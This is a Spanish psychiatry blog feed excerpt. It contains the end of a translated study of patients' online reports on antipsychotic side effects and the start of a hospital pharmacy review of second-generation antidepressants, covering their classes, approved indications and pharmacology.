</font><font face="Calibri">En la tabla contigua se compilan algunos comentarios textuales, de los usuarios de la página </font><a href="http://www.askapatient.com/"><font face="Times New Roman">http://www.askapatient.com</font></a><font face="Calibri">, que resumen efectos subjetivos de los antipsicóticos. Los efectos sedantes son percibidos como profundos y muy discapacitantes. Los sujetos describen efectos físicos de los antipsicóticos (parkinsonianos, sobre la esfera sexual y hormonal y los metabólicos) como relacionados con los efectos mentales. Los términos “zombi��?, “lavado de cerebro��?, “cerebro muerto��? fueron utilizados para describir el impacto global de la toma de antipsicóticos por 4 sujetos (9%) que tomaban antipsicóticos típicos, 26 (11,7%) que tomaban risperidona y 23 (13,5%) que tomaba olanzapina.<br />
</font><font face="Calibri">Algunos pocos sujetos atribuían el beneficio de estos fármacos precisamente a su capacidad sedante. La capacidad de estos fármacos para ralentizar los procesos mentales también fue identificada por algunos sujetos como un importante contribuyente al efecto terapéutico. Otros describen como la medicación disminuye la intrusividad o el impacto emocional de los síntomas psicóticos y pensamientos indeseados. La pérdida de interés inducida por los medicamentos es vista como algunos como parte del efecto beneficioso. En varios comentarios se refleja la dificultad de sopesar el impacto negativo del fármaco y la mejoría de los síntomas.<br />
</font><font face="Calibri"> </font></p>
<table width="584" class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 584px" colspan="2"><font face="Calibri">Comentarios textuales que reflejan los  categorías de efectos subjetivos y efectos físicos asociados con el uso de antipsicóticos<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 127px"><font face="Calibri">Categoría de efectos<br />
</font></td>
<td valign="top" style="width: 456px"><font face="Calibri">Comentario típico<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 127px"><font face="Calibri">Efectos sedantes (somnolencia, sedación diurna, fatiga, letargo, dificultad para despertar)<br />
</font></td>
<td valign="top" style="width: 456px"><font face="Calibri">*Me siento muy fatigado por las mañana y algunos días no puedo levantarme de la cama<br />
</font><font face="Calibri">*Me siento cansado todo el tiempo, demasiado cansado como para estar deprimido<br />
</font><font face="Calibri">*Suelo dormir 14 horas por la noche, pero por la mañana me siento tan cansado que no puedo realizar mis tareas diarias, no puedo ni asearme, ni ir la compra<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 127px"><font face="Calibri">Efectos cognitivos (pérdida de concentración o memoria, lentitud mental)<br />
</font></td>
<td valign="top" style="width: 456px"><font face="Calibri">*Baja capacidad para tomar decisiones<br />
</font><font face="Calibri">*Sin pensamientos ni mundo interior<br />
</font><font face="Calibri">*Nebulosa mental todo el tiempo<br />
</font><font face="Calibri">*Estado mental alterado, no puedo concentrarme, dificultad de juicio y pensamiento<br />
</font><font face="Calibri">*Mente en blanco<br />
</font><font face="Calibri">*Pensamiento inactivo<br />
</font><font face="Calibri">*Pérdida de ingenio<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 127px"><font face="Calibri">Efectos emocionales y sobre la motivación (aplanamiento emocional, indiferencia, pérdida de interés, cambio de personalidad, pérdida de interés)<br />
</font></td>
<td valign="top" style="width: 456px"><font face="Calibri">*Yo no siento absolutamente nada. Ni tristeza, ni diversión, Nada<br />
</font><font face="Calibri">*Emocionalmente vacio, muerto por dentro… me ha quitado mi sentido del humor<br />
</font><font face="Calibri">*Obviamente todo lo que me rodea,.., toda mi creatividad ha quedado aplastada<br />
</font><font face="Calibri">*Sin emociones, solo un extraño, hueco, sentimiento de vacío, sin deseo, sin excitación, sin disfrutar, nada<br />
</font><font face="Calibri">*Total derribo de lo que sobresalía en mi personalidad<br />
</font><font face="Calibri">*Zombi impasible<br />
</font><font face="Calibri">*Falta de interés en la vida, no quiero seguir viviendo<br />
</font><font face="Calibri">*Demasiado limitado, demasiado robotizado, emoción muerta<br />
</font><font face="Calibri">*Perdida de emociones y sentimiento general de nada me preocupa del todo<br />
</font><font face="Calibri">*Mi personalidad se ha humedecido<br />
</font><font face="Calibri">*Falta general de interés por cualquier cosa<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 127px"><font face="Calibri">Efectos parkinsonianos (rigidez, lentitud, temblor)<br />
</font></td>
<td valign="top" style="width: 456px"><font face="Calibri">*Extremadamente duro moverme, pensar, hablar<br />
</font><font face="Calibri">*Me siento como un zombi, no puedo pensar claro y mi movimiento es lento<br />
</font><font face="Calibri">*Pesadez mental y física, sentimientos lentos<br />
</font><font face="Calibri">*Me siento como si fuera a cámara lenta<br />
</font><font face="Calibri">*No soy capaz de pensar adecuadamente y experimento el mundo como a media velocidad. No puedo mantener mi mente focalizada y mis ojos son lentos<br />
</font><font face="Calibri">*sentimientos inhibidos<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 127px"><font face="Calibri">Akatisia (inquietud mental o física y tensión)<br />
</font></td>
<td valign="top" style="width: 456px"><font face="Calibri">*Inquietud horrible<br />
</font><font face="Calibri">*Agitación física extrema combinado con un estado de tener mente de zombi<br />
</font><font face="Calibri">*Siento como si arañaran mis ojos por dentro y mi piel por fuera y corriera por las paredes<br />
</font><font face="Calibri">* Desagradable ansiedad como un tipo de inquietud en las piernas<br />
</font><font face="Calibri">*inquietud del tipo que hace querer matarse<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 127px"><font face="Calibri">Euforia, relajación, tranquilidad<br />
</font></td>
<td valign="top" style="width: 456px"><font face="Calibri">*Me deja más relajado y contenido<br />
</font><font face="Calibri">*Esto ha mantenido mi humor más equilibrado, dándome una sensación de calma, que no había tenido en mucho tiempo<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 127px"><font face="Calibri">Dificultades sexuales<br />
</font></td>
<td valign="top" style="width: 456px"><font face="Calibri">*He perdido mi capacidad para sentir emociones, he perdido mi libido, …, he perdido mi capacidad para tener una erección<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 127px"><font face="Calibri">Efectos metabólicos<br />
</font></td>
<td valign="top" style="width: 456px"><font face="Calibri">*Voraz hambre de rapaz que nunca se sacia<br />
</font><font face="Calibri">*Nunca había comido tanto, desde que tomo Zyprexa he ganado 20 kg, en poco tiempo y mi mente esta en un estado de voraz letargo e indiferencia en el que solo me preocupo de comer cualquier cosa, ahora me siento y como lo que haya a mano<br />
</font><font face="Calibri">*Quiero comer y comer, dormir y dormir, y en ocasiones quiero hacer ambas cosas a la vez<br />
</font></td>
</tr>
</table>
<p><font face="Calibri" /></p>
<p><font face="Calibri">Discusión<br />
</font><font face="Calibri">Los sujetos estudiados, constituyen una muestra autosesgada, los usuarios de Internet. Los usuarios de Internet suelen ser más jóvenes que la población general, además son sujetos suficientemente motivados y con capacidad para expresarse por esta vía. La ausencia de censura es un aspecto positivo de estos comentarios. La mayoría de los sujetos escribieron más en el campote “comentarios��? que en de “efectos adversos��?. La naturaleza de los efectos identificados en la web son consistentes con los hallados en los estudios convencionales de prevalencia. Por ejemplo en estudios con cuestionarios, la mitad de los sujetos se quejaban de sedación y dificultades de concentración, y un tercio refirió aplanamiento afectivo.<br />
</font><font face="Calibri">La puntuación de satisfacción con los fármacos indica que aproximadamente la mitad de los pacientes encuentran beneficiosos los medicamentos. Como la mayoría de los sujetos estaban tomando el medicamento un año o más tiempo, es posible que se hubieran seleccionado aquellos sujetos más satisfechos, ya que aquellos otros menos satisfechos habrían abandonado tempranamente.  Las dosis empleadas por los sujetos que proporcionan información al respecto es media-baja, en la zona inferior del rango de dosis recomendado, menor que la generalmente utilizada en la zona alta de dicho rango o superior.<br />
</font><font face="Calibri">La medicación concomitante, que reciben más del 80% de los pacientes con antipsicóticos puede ser responsable, al menos en parte, de los resultados obtenidos, pero este aspecto no se ha estudiado aquí. En la muestra estudiada hay una sobrerreperesentación de pacientes con diagnostico de trastorno bipolar, en comparación con los diagnósticos encontrados en estudios sobre relación de entre uso de antipsicóticos y diagnósticos.<br />
</font><font face="Calibri">Un problema potencial es la interpretación errónea de síntomas de la enfermedad como efectos adversos de los fármacos. En este estudio, la distribución por tipo de antipsicótico de los efectos físicos, permite una validación de atribución al fármaco de los síntomas mentales hallados de este estudio.<br />
</font><font face="Calibri"> Los datos sugieren que los diferentes tipos de antipsicóticos producen sorprendentemente efectos emocionales, motivacionales y cognitivos muy similares. Aunque los efecto fiscos son diferentes para cada clase de fármacos, los usuarios de las tres categorías de antipsicóticos relacionan los efectos mentales con los físicos. Se sabe desde hace tiempo que los antipsicóticos producen efectos desagradables en mucha gente, y así queda ilustrado en muchos comentarios. La puntuación de la satisfacción con el fármaco apunta a las posibilidad de que los nuevos antipsicóticos sean más aceptables que los antiguos, pero las diferencias no son estadísticamente significtivas.<br />
</font></p>
<p class="MsoNormal"><font face="Calibri">Los comentarios sobre los efectos sedantes, cognitivos y emocionales, y su relación con el beneficio aportado por estos fármacos, hacen pensar que el efecto terapéutico deseado de los antipsicóticos se obtiene, con independencia del tipo de fármacos, de efectos inespecíficos, usualmente experimentados como adversos para el conjunto del funcionamiento mental. Muchos médicos ignoran o minimizan las quejas subjetivas de los pacientes, sobre los antipsicótico. Los hallazgos de este estudio muestran como estos efectos se entretejen en el conjunto de la experiencia global del medicamento, y que los pacientes  se encuentran en la dificultad de “comerciar��? entre una posible reducción de los síntomas y un estado más bien desagradable inducido por el fármaco. Esto explica que la mayoría de los pacientes psicóticos crónicos abandonen el tratamiento, tanto con los nuevos como con los antiguos antipsicóticos, antes del año y medio de iniciado. Para mejorar la experiencia de lospacientes, las dosis de antipsicóticos deben mantenerse lo más bajas posible, y el uso adición, en caso necesario, de fármacos con efectos menos desagradables, como las benzodiazepinas. Las aproximaciones terapeuticas que minimizan el uso de antipsicóticos, como “paradigma soteria��? deben explorarse (</font><a href="http://www.moshersoteria.com/"><font face="Times New Roman">http://www.moshersoteria.com</font></a><font face="Calibri">), dado los resultados prometedores de algunos informes.</font></p>
<p><font face="Calibri">TRADUCIDO POR EMILIO POL YANGUAS<br />
</font>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/39/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ANTIDEPRESIVOS DE SEGUNDA GENERACIÓN</title>
		<link>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/37</link>
		<comments>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/37#comments</comments>
		<pubDate>Mon, 03 Aug 2009 08:31:54 +0000</pubDate>
		<dc:creator>josecaparros</dc:creator>
		
		<category>1.¿COMO EMPEZAR?</category>

		<guid isPermaLink="false">http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/37</guid>
		<description><![CDATA[ANTIDEPRESIVOS DE SEGUNDA GENERACIÓN: REVISIÓN DE GRUPO. Informe para la Comisión de Farmacia y Terapéutica
 Autores del informe: Servicio de Farmacia: Francisco Martínez-Granados, Eduardo Climent Grana, Juan Pablo Ordovás Baines. Servicio de Psiquiatría: Enrique Pérez Martínez.
Enero 2008
1. JUSTIFICACIÓN
Se han ido incorporando fármacos antidepresivos heterocíclicos e inhibidores de la recaptación de serotonina al arsenal terapéutico para el [...]]]></description>
			<content:encoded><![CDATA[<p><strong><font size="3">ANTIDEPRESIVOS DE SEGUNDA GENERACIÓN: REVISIÓN DE GRUPO. Informe para la Comisión de Farmacia y Terapéutica<br />
</font></strong><strong><font size="3"> </font></strong><strong><font size="3"><strong>Autores del informe</strong>: Servicio de Farmacia: Francisco Martínez-Granados, Eduardo Climent Grana, Juan Pablo Ordovás Baines. Servicio de Psiquiatría: Enrique Pérez Martínez.<br />
</font><font size="3">Enero 2008<br />
</font><strong><font size="3">1. JUSTIFICACIÓN<br />
</font></strong><font size="3">Se han ido incorporando fármacos antidepresivos heterocíclicos e inhibidores de la recaptación de serotonina al arsenal terapéutico para el tratamiento farmacológico de la depresión. La mayor cabida de estos nuevos antidepresivos viene potenciada por los ensayos de estos medicamentos en nuevas indicaciones como la ansiedad generalizada o el trastorno de angustia.<br />
</font><font size="3">Se hace necesario en este contexto de complejidad farmacoterapéutica, la revisión de este grupo farmacológico con el fin de evidenciar características diferenciales en cuanto a eficacia, efectividad, perfil de seguridad y otros aspectos importantes en el proceso de selección de medicamentos.<br />
</font><font size="3">Este texto pretende ser una herramienta de apoyo en la selección de antidepresivos de segunda generación eficaces, seguros y coste-efectivos.<br />
</font><font size="3"> </font></p>
<p></strong><strong><font size="3">2. AGENTES DISPONIBLES EN ESPAÑA<sup>1</sup><br />
</font></strong><font size="3">Básicamente pueden establecerse los siguientes grupos de medicamentos antidepresivos:<br />
</font><font size="3">v</font>  <font size="3"><em>Inhibidores de la recaptación de serotonina (5-HT) y noradrenalina (NA), con acción antagonista sobre diversos receptores (adrenérgicos, colinérgicos muscarínicos o histaminérgicos). </em>Este grupo incluye a los <strong><em>antidepresivos tricíclicos </em></strong>(ATC). Están comercializadas en España: <strong>amitriptilina, clomipramina, dosulepina, doxepina, imipramina, maprotilina, nortriptilina y trimipramina.<br />
</strong></font><font size="3">v</font>  <font size="3"><em>Inhibidores de la monoamino-oxidasa <strong>(IMAO)</strong>. </em>Solo está disponible en España un inhibidor irreversible de las dos formas funcionales de la enzima (MAO-A y MAO-B) que es la <strong>tranilcipromina</strong>. Otro miembro de este grupo es la <strong>moclobemida</strong>, que se diferencia de los anteriores por inhibir de forma reversible y selectiva la MAO-A.<br />
</font><font size="3">v</font>  <font size="3"><em>Antagonistas de los receptores α2 presinápticos</em><strong>. Mianserina </strong>y su análogo piridínico, la <strong>mirtazapina</strong>, son los únicos componentes de este grupo.<br />
</font><font size="3">v</font>  <font size="3"><em>Inhibidores selectivos de la recaptación de noradrenalina (<strong>IRNA</strong>)</em>: <strong>reboxetina. </strong><br />
</font><font size="3">v</font>  <font size="3"><em>Inhibidores selectivos de la recaptación de serotonina (<strong>ISRS</strong>). </em>Desde la introducción en España de la <strong>fluvoxamina</strong>, se han añadido <strong>fluoxetina</strong>, <strong>paroxetina</strong>, <strong>sertralina </strong>y <strong>citalopram </strong>(así como su estereoisómero activo, el <strong>escitalopram</strong>).<br />
</font><font size="3">v</font>  <font size="3"><em>Inhibidores no selectivos de la recaptación de noradrenalina y serotonina (<strong>IRNS</strong>). </em>A este grupo pertenece <strong>venlafaxina</strong> y <strong>duloxetina</strong>.<br />
</font><font size="3">v</font>  <font size="3"><em>Inhibidores selectivos de la recaptación de noradrenalina y dopamina</em><strong>. </strong>El <strong>bupropión </strong>constituye el único representante, por el momento, de este grupo.<br />
</font><font size="3">v</font>  <font size="3"><em>Antagonistas de los receptores serotoninérgicos 5-HT2 e inhibidores débiles de la captación de serotonina (SARI). </em>Este grupo está formado actualmente solo por <strong>trazodona</strong>. Su inclusión en este grupo se debe a su manifiesto efecto antagonista sobre los receptores serotoninérgicos 5-HT2A y probablemente 5-HT2C, aunque también poseen una débil actividad inhibidora de la recaptación de 5-HT.<strong><br />
</strong></font><strong><font size="3"> </font></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3">3. INDICACIONES APROBADAS DE LOS ANTIDEPRESIVOS DE SEGUNDA GENERACIÓN<sup>2</sup><br />
</font></strong></p>
<p></strong></p>
<div align="center">
<table width="727" class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 79px"><strong><span /></strong></td>
<td valign="top" style="width: 72px"><strong>Depresión Mayor<br />
</strong></td>
<td valign="top" style="width: 72px"><strong>Trastorno Obsesivo-Compulsivo<br />
</strong></td>
<td valign="top" style="width: 84px"><strong>Trastorno de Pánico (o de Angustia)<br />
</strong></td>
<td valign="top" style="width: 84px"><strong>Trastorno de Estrés Postraumático<br />
</strong></td>
<td valign="top" style="width: 86px"><strong>Trastorno de Ansiedad Generalizada<br />
</strong></td>
<td valign="top" style="width: 79px"><strong>Síndrome Premenstrual<br />
</strong></td>
<td valign="top" style="width: 39px"><strong>Fobia Social<br />
</strong></td>
<td valign="top" style="width: 60px"><strong>Bulimia Nerviosa<br />
</strong></td>
<td valign="top" style="width: 72px"><strong>Dolor Neuropático<br />
</strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Mirtazapina<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong><span /></strong></td>
<td style="width: 79px"><strong><span /></strong></td>
<td style="width: 39px"><strong><span /></strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Mianserina<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong><span /></strong></td>
<td style="width: 79px"><strong><span /></strong></td>
<td style="width: 39px"><strong><span /></strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Reboxetina<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong><span /></strong></td>
<td style="width: 79px"><strong><span /></strong></td>
<td style="width: 39px"><strong><span /></strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Duloxetina<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong>Sí *<br />
</strong></td>
<td style="width: 79px"><strong><span /></strong></td>
<td style="width: 39px"><strong><span /></strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Fluvoxamina<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong><span /></strong></td>
<td style="width: 79px"><strong><span /></strong></td>
<td style="width: 39px"><strong><span /></strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Fluoxetina<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 84px"><strong>Sí *<br />
</strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong><span /></strong></td>
<td style="width: 79px"><strong>Sí *<br />
</strong></td>
<td style="width: 39px"><strong><span /></strong></td>
<td style="width: 60px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Paroxetina<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 84px"><strong>Sí<br />
</strong></td>
<td style="width: 84px"><strong>Sí<br />
</strong></td>
<td style="width: 86px"><strong>Sí<br />
</strong></td>
<td style="width: 79px"><strong>Sí *<br />
</strong></td>
<td style="width: 39px"><strong>Sí<br />
</strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Sertralina<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 84px"><strong>Sí<br />
</strong></td>
<td style="width: 84px"><strong>Sí<br />
</strong></td>
<td style="width: 86px"><strong><span /></strong></td>
<td style="width: 79px"><strong>Sí *<br />
</strong></td>
<td style="width: 39px"><strong>Sí<br />
</strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Citalopram<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 84px"><strong>Sí<br />
</strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong><span /></strong></td>
<td style="width: 79px"><strong><span /></strong></td>
<td style="width: 39px"><strong>Sí<br />
</strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Escitalopram<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 84px"><strong>Sí<br />
</strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong>Sí<br />
</strong></td>
<td style="width: 79px"><strong><span /></strong></td>
<td style="width: 39px"><strong>Sí<br />
</strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Venlafaxina<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong><span /></strong></td>
<td style="width: 84px"><strong>Sí *<br />
</strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong>Sí<br />
</strong></td>
<td style="width: 79px"><strong><span /></strong></td>
<td style="width: 39px"><strong>Sí<br />
</strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Trazodona<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong><span /></strong></td>
<td style="width: 79px"><strong><span /></strong></td>
<td style="width: 39px"><strong><span /></strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Bupropión<br />
</strong></td>
<td style="width: 72px"><strong>Sí<br />
</strong></td>
<td style="width: 72px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 84px"><strong><span /></strong></td>
<td style="width: 86px"><strong><span /></strong></td>
<td style="width: 79px"><strong><span /></strong></td>
<td style="width: 39px"><strong><span /></strong></td>
<td style="width: 60px"><strong><span /></strong></td>
<td style="width: 72px"><strong><span /></strong></td>
</tr>
</table>
</div>
<p><font size="3">* Autorizado por la FDA para estas indicaciones<br />
</font><strong><font size="3"> </font></strong><strong><strong><font size="3">4. FARMACOLOG�?A<sup>3</sup><br />
</font></strong><u><font size="3">4.1. ISRS<br />
</font></u><font size="3">Aunque clásicamente se ha hecho hincapié en la acción de los ISRS en el terminal axónico presináptico, las investigaciones más recientes han determinado que los eventos que ocurren en el extremo somatodendrítico de la neurona serotoninérgica pueden ser más importantes para explicar sus acciones terapéuticas. Es posible que los eventos que ocurren en la neurona serotoninérgica postsináptica medien algunos de los efectos secundarios agudos y el desarrollo de la tolerancia a dichos efectos a la larga. Cuando se administra un ISRS de forma aguda, la serotonina (5HT) aumenta debido al bloqueo de su bomba de transporte, pero lo que se ha observado en estudios neurocientíficos es que el bloqueo de la bomba de recaptación presináptica no produce inmediatamente una gran acumulación de serotonina en la sinapsis, sino que en realidad, cuando se inicia un ISRS, la 5HT alcanza un nivel mucho más elevado en el área de los cuerpos celulares del rafe mesencefálico que en las áreas cerebrales donde terminan los axones, lo que explica los efectos secundarios agudos y el efecto ventana terapéutico: a la larga, el incremento de 5HT en los autoreceptores somatodendríticos 5HTA1A tiene el efecto de regularlos a la baja y de desensibilizarlos, por lo que el curso temporal de esta desensibilización se corresponde con el inicio de las acciones terapéuticas. Conforme este proceso se desarrolla, la 5HT se incrementa en la sinapsis haciendo que se desensibilicen también los receptores postsinápticos 5HT2A, 5HT2C, 5HT3 y 5HT4 y este fenómeno coincide con el inicio de la tolerancia a los efectos secundarios.<br />
</font><font size="3">En cuanto a las vías neurológicas implicadas, las acciones antidepresivas implican a la proyección de neuronas serotoninérgicas desde el rafe mesencefálico a la corteza frontal. Las acciones terapéuticas en la bulimia, la voracidad y varios trastornos más de los hábitos alimentarios pueden estar mediadas por la vía serotoninérgica desde el rafe a los centros de la alimentación y el apetito en el hipotálamo. La estimulación aguda de los receptores 5TH2A y 5TH2C en la proyección desde el rafe hasta la corteza límbica puede causar la agitación mental aguda, la ansiedad o la inducción de los ataques de pánico que se pueden observar en las primeras dosis. La estimulación aguda de los 5HT2A en los ganglios basales puede ocasionar cambios motores debidos a la inhibición serotoninérgica de la neurotransmisión de dopamina en aquellos. La estimulación de los 5HT2A en los centros del sueño del tronco cerebral puede provocar movimientos musculares rápidos (mioclonías) durante la noche. La estimulación de los 5HT2A en la médula espinal puede inhibir los reflejos espinales del orgasmo y la eyaculación y causar disfunción sexual. La estimulación de los 5HT2A en los centros del placer mesocorticales puede reducir la actividad dopaminérgica en ellos y provocar apatía o una disminución de la líbido. La estimulación de los 5HT3 en el hipotálamo o el tronco cerebral puede causar náuseas o vómitos respectivamente. La estimulación 5HT3 y 5HT4 en el tracto gastrointestinal puede provocar un aumento de la motilidad intestinal, calambres y diarrea.<br />
</font><font size="3"> </font></p>
<p></strong><u><font size="3">4.2. IRNA<br />
</font></u><font size="3">Aunque todavía no es posible determinar quién responderá a un agente serotoninérgico y quién a uno noradrenérgico, existe la idea de que quienes presentan un síndrome de deficiencia serotoninérgica (es decir, depresión asociada a ansiedad, pánico, fobias, estrés postraumático, obsesiones y trastornos de la alimentación) podrían responder mejor a los AD serotoninérgicos, mientras que aquellos con el síndrome de deficiencia noradrenérgica (es decir, aquella cuya depresión está asociada a fatiga, apatía y trastornos cognitivos notables, especialmente deterioro de la concentranción, problemas a la hora de centrar y mantener la atención, lentitud en el procesamiento de la información y deficiencias en la memoria de trabajo) teóricamente podrían responder mejor a reboxetina. Sin embargo, esto no se ha comprobado clínicamente y el fundamento no es más que una hipótesis neurocientífica.<br />
</font><font size="3">En lo que se refiere a la acción antidepresiva, las evidencias apuntan a la proyección de neuronas noradrenérgicas desde el locus coeruleus a la corteza frontal como el sustrato de la acción terapéutica, en este caso, a través del receptor postsináptico beta 1. Teóricamente las acciones terapéuticas en la mejoría de la apatía, la fatiga y el retraso psicomotor podrían estar mediadas por las vías noradrenérgicas desde el locus coeruleus a la corteza límbica. En cuanto a los efectos secundarios, la estimulación aguda de los receptores beta 1 en el cerebelo o en el sistema nervioso simpático periférico puede provocar activación motora o temblor. La estimulación aguda de los receptores noradrenérgicos del sistema límbico puede causar agitación y aquellos situados en los centros cardiovasculares del tronco cerebral y los que descienden por la médula espinal pueden alterar la presión sanguínea. La estimulación de los receptores noradrenérgicos en el sistema nervioso simpático puede causar una reducción neta del tono colinérgico parasimpático, dado que estos sistemas tienen papeles recíprocos en los órganos y tejidos periféricos. De esta forma, un incremento de norepinefrina puede producir síntomas pseudos-anticolinérgicos no porque bloqueen los receptores muscarínicos sino porque incrementan el tono simpático, lo cual resulta a nivel clínico en sequedad de boca, estreñimiento y retención urinaria.<br />
</font><font size="3"> </font></p>
<p><u><font size="3">4.3. IRNS<br />
</font></u><font size="3">Una clase que combina las acciones tanto de los ISRS como de los IRNA es la también denominada clase de los inhibidores duales de la recaptación de 5HT y NA. Esta denominación puede ser confusa ya que los ATC son también inhibidores duales de la recaptación de estos neurotransmisores; lo que constituye la característica única de la venlafaxina (el IRNS prototipo) es que comparte las propiedades inhibidoras de la recaptación de 5HT y NA –y en menor medida de la dopamina- con los ATC clásicos pero sin las propiedades bloqueadoras de los receptores alfa 1, los colinérgicos y los histamínicos.<br />
</font><font size="3">Venlafaxina, en función de la dosis, tiene distintos grados de inhibición de la recaptación de 5HT (más potente y por tanto a dosis inferiores), de la recaptación de NA (de potencia moderada y por tanto presente en dosis altas) y de la recaptación de DA (menos potente y presente solo a dosis más elevadas).<br />
</font><font size="3"> </font></p>
<p><u><font size="3">4.4. Antagonistas de los receptores α2 presinápticos<br />
</font></u><font size="3">Otra manera de elevar los niveles de NA y 5HT es bloquear los receptores alfa 2; la norepinefrina interrumpe su propia liberación interactuando con los autoreceptores alfa 2 presinápticos de las neuronas noradrenérgicas; del mismo modo, la norepinefrina interrumpe la liberación de 5HT interactuando con los heteroreceptores alfa 2 presinápticos de las neuronas serotoninérgicas. Si se administra un antagonista alfa 2, la norepinefrina ya no puede ejercer el efecto regulador sobre las neuronas noradrenérgicas y serotoninérgicas. Existe además un segundo mecanismo de acción que incrementa la liberación de 5HT  de forma importante. Las neuronas noradrenérgicas del locus coeruleus inervan los cuerpos celulares de las neuronas serotoninérgicas del rafe mesencefálico. Este estímulo noradrenérgico aumenta la liberación de 5HT a través del receptor alfa 1 postsináptico. Así, cuando la norepinefrina resulta desinhibida en la vía noradrenérgica hacia el rafe, la liberación de norepinefrina se incrementará y estimulará los receptores alfa 1 produciendo la liberación de más 5HT. La mirtazapina tiene además propiedades antagonistas 5HT2A, 5HT2C y antihistamínicas H1 (lo que contribuye tanto a la propiedad hipnótico-sedante como al aumento de peso). El bloqueo de 5HT2A, 5HT2C y 5HT3 evitan desde un punto de vista teórico efectos secundarios como la ansiedad, las náuseas y la disfunción sexual.<br />
</font><font size="3"> </font></p>
<p><u><font size="3">4.5. SARI<br />
